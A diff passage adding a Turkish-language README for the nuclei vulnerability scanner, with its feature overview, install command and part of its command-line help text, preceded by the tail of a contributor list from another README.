<a href="https://github.com/leonjza"><img src="https://avatars.githubusercontent.com/u/1148127?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/mionskowski-form3"><img src="https://avatars.githubusercontent.com/u/91873652?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/chenrui333"><img src="https://avatars.githubusercontent.com/u/1580956?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/iamargus95"><img src="https://avatars.githubusercontent.com/u/77744293?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/shashikarsiddharth"><img src="https://avatars.githubusercontent.com/u/60960197?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/trypa11"><img src="https://avatars.githubusercontent.com/u/67585616?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/Zeokat"><img src="https://avatars.githubusercontent.com/u/1313154?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/alban-stourbe-wmx"><img src="https://avatars.githubusercontent.com/u/159776828?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/anykno"><img src="https://avatars.githubusercontent.com/u/2528207?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/ronaudinho"><img src="https://avatars.githubusercontent.com/u/10264710?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/boy-hack"><img src="https://avatars.githubusercontent.com/u/18695984?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/iuliu8899"><img src="https://avatars.githubusercontent.com/u/31680027?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/debasishbsws"><img src="https://avatars.githubusercontent.com/u/65381620?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/denysvitali-niantic"><img src="https://avatars.githubusercontent.com/u/157139422?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/fail-open"><img src="https://avatars.githubusercontent.com/u/72417455?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/Xc1Ym"><img src="https://avatars.githubusercontent.com/u/29765332?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/XTeam-Wing"><img src="https://avatars.githubusercontent.com/u/25416365?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/Weltolk"><img src="https://avatars.githubusercontent.com/u/40228052?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/tonghuaroot"><img src="https://avatars.githubusercontent.com/u/23011166?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/praetorian-thendrickson"><img src="https://avatars.githubusercontent.com/u/69640071?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/S0obi"><img src="https://avatars.githubusercontent.com/u/4180104?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/skahn007gl"><img src="https://avatars.githubusercontent.com/u/144735608?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/shouichi"><img src="https://avatars.githubusercontent.com/u/99586?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/seb-elttam"><img src="https://avatars.githubusercontent.com/u/111818823?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/AdallomRoy"><img src="https://avatars.githubusercontent.com/u/4046118?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/rotemreiss"><img src="https://avatars.githubusercontent.com/u/9288082?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/oscarintherocks"><img src="https://avatars.githubusercontent.com/u/1785821?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/xxcdd"><img src="https://avatars.githubusercontent.com/u/42600601?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/chen2aaron"><img src="https://avatars.githubusercontent.com/u/9978183?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/voidz0r"><img src="https://avatars.githubusercontent.com/u/1032286?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/vince-isec"><img src="https://avatars.githubusercontent.com/u/149686094?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/true13"><img src="https://avatars.githubusercontent.com/u/18207552?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/skhalsa-sigsci"><img src="https://avatars.githubusercontent.com/u/68570441?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/ShuBo6"><img src="https://avatars.githubusercontent.com/u/41125338?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/seeyarh"><img src="https://avatars.githubusercontent.com/u/16869800?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/securibee"><img src="https://avatars.githubusercontent.com/u/51520913?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/sduc"><img src="https://avatars.githubusercontent.com/u/2879617?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/scottdharvey"><img src="https://avatars.githubusercontent.com/u/25498254?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/rykkard"><img src="https://avatars.githubusercontent.com/u/51889048?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/monitor403"><img src="https://avatars.githubusercontent.com/u/45124775?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/mlec1"><img src="https://avatars.githubusercontent.com/u/42201667?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/meme-lord"><img src="https://avatars.githubusercontent.com/u/17912559?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/LazyMaple"><img src="https://avatars.githubusercontent.com/u/12314941?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/lvyaoting"><img src="https://avatars.githubusercontent.com/u/166296299?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/llussy"><img src="https://avatars.githubusercontent.com/u/18432966?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/linchizhen"><img src="https://avatars.githubusercontent.com/u/170242051?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/kiokuless"><img src="https://avatars.githubusercontent.com/u/110003596?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/Jarnpher553"><img src="https://avatars.githubusercontent.com/u/10233873?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/c-f"><img src="https://avatars.githubusercontent.com/u/35263248?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/hanghuge"><img src="https://avatars.githubusercontent.com/u/166206050?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/testwill"><img src="https://avatars.githubusercontent.com/u/8717479?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/galoget"><img src="https://avatars.githubusercontent.com/u/8353133?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/fudancoder"><img src="https://avatars.githubusercontent.com/u/171416994?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/revolunet"><img src="https://avatars.githubusercontent.com/u/124937?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/jsoref"><img src="https://avatars.githubusercontent.com/u/2119212?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/MachadoOtto"><img src="https://avatars.githubusercontent.com/u/93268441?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/jonathanwalker"><img src="https://avatars.githubusercontent.com/u/14978093?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/nHurD"><img src="https://avatars.githubusercontent.com/u/233374?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/jessekelly881"><img src="https://avatars.githubusercontent.com/u/22938931?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/JaneX8"><img src="https://avatars.githubusercontent.com/u/5116641?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/eltociear"><img src="https://avatars.githubusercontent.com/u/22633385?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/atomiczsec"><img src="https://avatars.githubusercontent.com/u/75549184?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/M-Faheem-Khan"><img src="https://avatars.githubusercontent.com/u/17150767?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/denandz"><img src="https://avatars.githubusercontent.com/u/5291556?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/tibbon"><img src="https://avatars.githubusercontent.com/u/82880?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/dany74q"><img src="https://avatars.githubusercontent.com/u/2129762?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/0x123456789"><img src="https://avatars.githubusercontent.com/u/36066426?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/danigoland"><img src="https://avatars.githubusercontent.com/u/15079567?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/ChrisMandich"><img src="https://avatars.githubusercontent.com/u/14286797?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/austintraver"><img src="https://avatars.githubusercontent.com/u/25112463?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/socialsister"><img src="https://avatars.githubusercontent.com/u/155628741?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/Anemys"><img src="https://avatars.githubusercontent.com/u/51196227?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/andreangelucci"><img src="https://avatars.githubusercontent.com/u/18552197?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/AlexS778"><img src="https://avatars.githubusercontent.com/u/98418121?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/noraj"><img src="https://avatars.githubusercontent.com/u/16578570?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/akkuman"><img src="https://avatars.githubusercontent.com/u/7813511?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/zrquan"><img src="https://avatars.githubusercontent.com/u/33086594?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/1efty"><img src="https://avatars.githubusercontent.com/u/18194777?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/rsrdesarrollo"><img src="https://avatars.githubusercontent.com/u/5142014?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/razin99"><img src="https://avatars.githubusercontent.com/u/44442082?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/MetzinAround"><img src="https://avatars.githubusercontent.com/u/65838556?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/vil02"><img src="https://avatars.githubusercontent.com/u/65706193?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/mrschyte"><img src="https://avatars.githubusercontent.com/u/8571?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/PeterDaveHello"><img src="https://avatars.githubusercontent.com/u/3691490?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/parthmalhotra"><img src="https://avatars.githubusercontent.com/u/28601533?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/owenrumney"><img src="https://avatars.githubusercontent.com/u/3049157?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/Ovi3"><img src="https://avatars.githubusercontent.com/u/29408109?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/Bisstocuz"><img src="https://avatars.githubusercontent.com/u/42398278?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/daffainfo"><img src="https://avatars.githubusercontent.com/u/36522826?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/mhmdiaa"><img src="https://avatars.githubusercontent.com/u/19687798?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/MiryangJung"><img src="https://avatars.githubusercontent.com/u/48237511?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/0xmin"><img src="https://avatars.githubusercontent.com/u/44919834?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/maikthulhu"><img src="https://avatars.githubusercontent.com/u/680830?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/sttlr"><img src="https://avatars.githubusercontent.com/u/40246850?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/iamRjarpan"><img src="https://avatars.githubusercontent.com/u/45498226?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/leoloobeek"><img src="https://avatars.githubusercontent.com/u/8801754?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/KristinnVikar"><img src="https://avatars.githubusercontent.com/u/93918469?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/kant01ne"><img src="https://avatars.githubusercontent.com/u/5072452?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/KeisukeYamashita"><img src="https://avatars.githubusercontent.com/u/23056537?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/1hehaq"><img src="https://avatars.githubusercontent.com/u/162917546?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
</p>
|
||||
|
||||
<br>
|
||||
<br>
|
||||
<br>
|
||||
|
||||
<div align="center">
|
||||
|
||||
<sub>**`nuclei`** é distribuído sob a [**Licença MIT**](https://github.com/projectdiscovery/nuclei/blob/main/LICENSE.md)</sub>
|
||||
|
||||
</div>
|
||||
+670
@@ -0,0 +1,670 @@
|
||||

|
||||
|
||||
<div align="center">
|
||||
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README.md">`English`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_CN.md">`中文`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_KR.md">`Korean`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ID.md">`Indonesia`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ES.md">`Spanish`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_JP.md">`日本語`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_PT-BR.md">`Portuguese`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_TR.md">`Türkçe`</a>
|
||||
|
||||
</div>
|
||||
|
||||
<p align="center">
|
||||
|
||||
<a href="https://docs.projectdiscovery.io/tools/nuclei/overview?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme"><img src="https://img.shields.io/badge/Documentation-%23000000.svg?style=for-the-badge&logo=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0IiBmaWxsPSJub25lIiBzdHJva2U9IiNmZmZmZmYiIHN0cm9rZS13aWR0aD0iMiIgc3Ryb2tlLWxpbmVjYXA9InJvdW5kIiBzdHJva2UtbGluZWpvaW49InJvdW5kIiBjbGFzcz0ibHVjaWRlIGx1Y2lkZS1ib29rLW9wZW4iPjxwYXRoIGQ9Ik0xMiA3djE0Ii8+PHBhdGggZD0iTTMgMThhMSAxIDAgMCAxLTEtMVY0YTEgMSAwIDAgMSAxLTFoNWE0IDQgMCAwIDEgNCA0IDQgNCAwIDAgMSA0LTRoNWExIDEgMCAwIDEgMSAxdjEzYTEgMSAwIDAgMS0xIDFoLTZhMyAzIDAgMCAwLTMgMyAzIDMgMCAwIDAtMy0zeiIvPjwvc3ZnPg==&logoColor=white"></a>
|
||||
|
||||
<a href="https://github.com/projectdiscovery/nuclei-templates"><img src="https://img.shields.io/badge/Templates Library-%23000000.svg?style=for-the-badge&logo=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiIgdmlld0JveD0iMCAwIDI0IDI0IiBmaWxsPSJub25lIiBzdHJva2U9IiNmZmZmZmYiIHN0cm9rZS13aWR0aD0iMS41IiBzdHJva2UtbGluZWNhcD0icm91bmQiIHN0cm9rZS1saW5lam9pbj0icm91bmQiIGNsYXNzPSJsdWNpZGUgbHVjaWRlLXNoaWVsZCI+PHBhdGggZD0iTTIwIDEzYzAgNS0zLjUgNy41LTcuNjYgOC45NWExIDEgMCAwIDEtLjY3LS4wMUM3LjUgMjAuNSA0IDE4IDQgMTNWNmExIDEgMCAwIDEgMS0xYzIgMCA0LjUtMS4yIDYuMjQtMi43MmExLjE3IDEuMTcgMCAwIDEgMS41MiAwQzE0LjUxIDMuODEgMTcgNSAxOSA1YTEgMSAwIDAgMSAxIDF6Ii8+PC9zdmc+&logoColor=white"></a>
|
||||
|
||||
<a href="https://discord.gg/projectdiscovery?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme"><img src="https://img.shields.io/badge/Discord-%235865F2.svg?style=for-the-badge&logo=discord&logoColor=white"></a>
|
||||
|
||||
<hr>
|
||||
|
||||
</p>
|
||||
|
||||
<br>
|
||||
|
||||
**Nuclei, basit YAML tabanlı şablonlardan yararlanan modern, yüksek performanslı bir zafiyet tarayıcısıdır. Gerçek dünya koşullarını taklit eden özel zafiyet tespit senaryoları tasarlamanıza olanak tanıyarak sıfır hatalı pozitif sonuç sağlar.**
|
||||
|
||||
- Zafiyet şablonları oluşturmak ve özelleştirmek için basit YAML formatı.
|
||||
- Trend olan zafiyetleri ele almak için binlerce güvenlik uzmanı tarafından katkıda bulunulmuştur.
|
||||
- Bir zafiyeti doğrulamak için gerçek dünya adımlarını simüle ederek hatalı pozitifleri azaltır.
|
||||
- Ultra hızlı paralel tarama işleme ve istek kümeleme.
|
||||
- Zafiyet tespiti ve regresyon testi için CI/CD hatlarına entegre edilebilir.
|
||||
- TCP, DNS, HTTP, SSL, WHOIS, JavaScript, Code ve daha fazlası gibi birçok protokolü destekler.
|
||||
- Jira, Splunk, GitHub, Elastic, GitLab ile entegre olur.
|
||||
|
||||
<br>
|
||||
<br>
|
||||
|
||||
## İçindekiler
|
||||
|
||||
- [**`Başlarken`**](#başlarken)
|
||||
- [_`1. Nuclei CLI`_](#1-nuclei-cli)
|
||||
- [_`2. Pro ve Kurumsal Sürümler`_](#2-pro-ve-kurumsal-sürümler)
|
||||
- [**`Dokümantasyon`**](#dokümantasyon)
|
||||
- [_`Komut Satırı Bayrakları`_](#komut-satırı-bayrakları)
|
||||
- [_`Tek hedef tarama`_](#tek-hedef-tarama)
|
||||
- [_`Çoklu hedef tarama`_](#çoklu-hedef-tarama)
|
||||
- [_`Ağ taraması`_](#ağ-taraması)
|
||||
- [_`Özel şablonunuzla tarama`_](#özel-şablonunuzla-tarama)
|
||||
- [_`Nuclei'yi ProjectDiscovery'ye Bağlayın`_](#nucleiyi-projectdiscoveryye-bağlayın)
|
||||
- [**`Nuclei Şablonları, Topluluk ve Ödüller`**](#nuclei-şablonları-topluluk-ve-ödüller-) 💎
|
||||
- [**`Misyonumuz`**](#misyonumuz)
|
||||
- [**`Katkıda Bulunanlar`**](#katkıda-bulunanlar-heart) ❤
|
||||
- [**`Lisans`**](#lisans)
|
||||
|
||||
<br>
|
||||
<br>
|
||||
|
||||
## Başlarken
|
||||
|
||||
### **1. Nuclei CLI**
|
||||
|
||||
_Nuclei'yi makinenize kurun. [**`Buradaki`**](https://docs.projectdiscovery.io/tools/nuclei/install?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme) kurulum kılavuzunu takip ederek başlayın. Ayrıca, [**`ücretsiz bir bulut katmanı`**](https://cloud.projectdiscovery.io/sign-up) sağlıyoruz ve cömert aylık ücretsiz limitlerle birlikte geliyor:_
|
||||
|
||||
- Zafiyet bulgularınızı saklayın ve görselleştirin
|
||||
- nuclei şablonlarınızı yazın ve yönetin
|
||||
- En son nuclei şablonlarına erişin
|
||||
- Hedeflerinizi keşfedin ve saklayın
|
||||
|
||||
> [!Important]
|
||||
> |**Bu proje aktif geliştirme aşamasındadır**. Sürümlerle birlikte kırılma değişiklikleri bekleyin. Güncellemeden önce sürüm değişiklik günlüğünü inceleyin.|
|
||||
> |:--------------------------------|
|
||||
> | Bu proje öncelikle bağımsız bir CLI aracı olarak kullanılmak üzere oluşturulmuştur. **Nuclei'yi bir servis olarak çalıştırmak güvenlik riskleri oluşturabilir.** Dikkatli kullanılması ve ek güvenlik önlemleri alınması önerilir. |
|
||||
|
||||
<br>
|
||||
|
||||
### **2. Pro ve Kurumsal Sürümler**
|
||||
|
||||
_Güvenlik ekipleri ve kuruluşlar için, ekibiniz ve mevcut iş akışlarınızla ölçekli olarak sürekli zafiyet taramaları yapmanıza yardımcı olmak üzere ince ayarlanmış, Nuclei OSS üzerine inşa edilmiş bulut tabanlı bir hizmet sunuyoruz:_
|
||||
|
||||
- 50x daha hızlı taramalar
|
||||
- Yüksek doğrulukla büyük ölçekli tarama
|
||||
- Bulut hizmetleri ile entegrasyonlar (AWS, GCP, Azure, Cloudflare, Fastly, Terraform, Kubernetes)
|
||||
- Jira, Slack, Linear, API'ler ve Webhook'lar
|
||||
- Yönetici ve uyumluluk raporlaması
|
||||
- Artı: Gerçek zamanlı tarama, SAML SSO, SOC 2 uyumlu platform (AB ve ABD barındırma seçenekleri ile), paylaşılan ekip çalışma alanları ve daha fazlası
|
||||
- Sürekli olarak [**`yeni özellikler ekliyoruz`**](https://feedback.projectdiscovery.io/changelog)!
|
||||
- **Şunlar için ideal:** Sızma testi yapanlar, güvenlik ekipleri ve kuruluşlar
|
||||
|
||||
Büyük bir organizasyonunuz ve karmaşık gereksinimleriniz varsa [**`Pro'ya kaydolun`**](https://projectdiscovery.io/pricing?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme) veya [**`ekibimizle konuşun`**](https://projectdiscovery.io/request-demo?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme).
|
||||
|
||||
<br>
|
||||
<br>
|
||||
|
||||
## Dokümantasyon
|
||||
|
||||
Nuclei'nin tam [**`dokümantasyonuna buradan`**](https://docs.projectdiscovery.io/tools/nuclei/running) göz atın. Nuclei'de yeniyseniz, [**`temel YouTube serimize`**](https://www.youtube.com/playlist?list=PLZRbR9aMzTTpItEdeNSulo8bYsvil80Rl) göz atın.
|
||||
|
||||
<div align="center">
|
||||
|
||||
<a href="https://www.youtube.com/watch?v=b5qMyQvL1ZA&list=PLZRbR9aMzTTpItEdeNSulo8bYsvil80Rl&utm_source=github&utm_medium=web&utm_campaign=nuclei_readme" target="_blank"><img src="/static/nuclei-getting-started.png" width="350px"></a> <a href="https://www.youtube.com/watch?v=nFXygQdtjyw&utm_source=github&utm_medium=web&utm_campaign=nuclei_readme" target="_blank"><img src="/static/nuclei-write-your-first-template.png" width="350px"></a>
|
||||
|
||||
</div>
|
||||
|
||||
<br>
|
||||
|
||||
### Kurulum
|
||||
|
||||
`nuclei` yüklemek için **go >= 1.24.2** gerektirir. Repoyu almak için aşağıdaki komutu çalıştırın:
|
||||
|
||||
```sh
|
||||
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
|
||||
```
|
||||
|
||||
Nuclei kurulumu hakkında daha fazla bilgi edinmek için `https://docs.projectdiscovery.io/tools/nuclei/install` adresine bakın.
|
||||
|
||||
### Komut Satırı Bayrakları
|
||||
|
||||
Aracın tüm bayraklarını görüntülemek için:
|
||||
|
||||
```sh
|
||||
nuclei -h
|
||||
```
|
||||
|
||||
<details>
|
||||
<summary>Tüm yardım bayraklarını genişlet</summary>
|
||||
|
||||
```yaml
|
||||
Nuclei is a fast, template based vulnerability scanner focusing
|
||||
on extensive configurability, massive extensibility and ease of use.
|
||||
|
||||
Usage:
|
||||
./nuclei [flags]
|
||||
|
||||
Flags:
|
||||
TARGET:
|
||||
-u, -target string[] target URLs/hosts to scan
|
||||
-l, -list string path to file containing a list of target URLs/hosts to scan (one per line)
|
||||
-targets-inline string inline multiline target list (for use in template profiles)
|
||||
-eh, -exclude-hosts string[] hosts to exclude to scan from the input list (ip, cidr, hostname)
|
||||
-resume string resume scan from and save to specified file (clustering will be disabled)
|
||||
-sa, -scan-all-ips scan all the IP's associated with dns record
|
||||
-iv, -ip-version string[] IP version to scan of hostname (4,6) - (default 4)
|
||||
|
||||
TARGET-FORMAT:
|
||||
-im, -input-mode string mode of input file (list, burp, jsonl, yaml, openapi, swagger, http) (default "list")
|
||||
-ro, -required-only use only required fields in input format when generating requests
|
||||
-sfv, -skip-format-validation skip format validation (like missing vars) when parsing input file
|
||||
-vtt, -vars-text-templating enable text templating for vars in input file (only for yaml input mode)
|
||||
-vfp, -var-file-paths string[] list of yaml file contained vars to inject into yaml input
|
||||
|
||||
TEMPLATES:
|
||||
-nt, -new-templates run only new templates added in latest nuclei-templates release
|
||||
-ntv, -new-templates-version string[] run new templates added in specific version
|
||||
-as, -automatic-scan automatic web scan using wappalyzer technology detection to tags mapping
|
||||
-t, -templates string[] list of template or template directory to run (comma-separated, file)
|
||||
-turl, -template-url string[] template url or list containing template urls to run (comma-separated, file)
|
||||
-ai, -prompt string generate and run template using ai prompt
|
||||
-w, -workflows string[] list of workflow or workflow directory to run (comma-separated, file)
|
||||
-wurl, -workflow-url string[] workflow url or list containing workflow urls to run (comma-separated, file)
|
||||
-validate validate the passed templates to nuclei
|
||||
-nss, -no-strict-syntax disable strict syntax check on templates
|
||||
-td, -template-display displays the templates content
|
||||
-tl list all templates matching current filters
|
||||
-tgl list all available tags
|
||||
-sign signs the templates with the private key defined in NUCLEI_SIGNATURE_PRIVATE_KEY env variable
|
||||
-code enable loading code protocol-based templates
|
||||
-dut, -disable-unsigned-templates disable running unsigned templates or templates with mismatched signature
|
||||
-esc, -enable-self-contained enable loading self-contained templates
|
||||
-egm, -enable-global-matchers enable loading global matchers templates
|
||||
-file enable loading file templates
|
||||
|
||||
FILTERING:
|
||||
-a, -author string[] templates to run based on authors (comma-separated, file)
|
||||
-tags string[] templates to run based on tags (comma-separated, file)
|
||||
-etags, -exclude-tags string[] templates to exclude based on tags (comma-separated, file)
|
||||
-itags, -include-tags string[] tags to be executed even if they are excluded either by default or configuration
|
||||
-id, -template-id string[] templates to run based on template ids (comma-separated, file, allow-wildcard)
|
||||
-eid, -exclude-id string[] templates to exclude based on template ids (comma-separated, file)
|
||||
-it, -include-templates string[] path to template file or directory to be executed even if they are excluded either by default or configuration
|
||||
-et, -exclude-templates string[] path to template file or directory to exclude (comma-separated, file)
|
||||
-em, -exclude-matchers string[] template matchers to exclude in result
|
||||
-s, -severity value[] templates to run based on severity. Possible values: info, low, medium, high, critical, unknown
|
||||
-es, -exclude-severity value[] templates to exclude based on severity. Possible values: info, low, medium, high, critical, unknown
|
||||
-pt, -type value[] templates to run based on protocol type. Possible values: dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code, javascript
|
||||
-ept, -exclude-type value[] templates to exclude based on protocol type. Possible values: dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code, javascript
|
||||
-tc, -template-condition string[] templates to run based on expression condition
|
||||
|
||||
OUTPUT:
|
||||
-o, -output string output file to write found issues/vulnerabilities
|
||||
-sresp, -store-resp store all request/response passed through nuclei to output directory
|
||||
-srd, -store-resp-dir string store all request/response passed through nuclei to custom directory (default "output")
|
||||
-silent display findings only
|
||||
-nc, -no-color disable output content coloring (ANSI escape codes)
|
||||
-j, -jsonl write output in JSONL(ines) format
|
||||
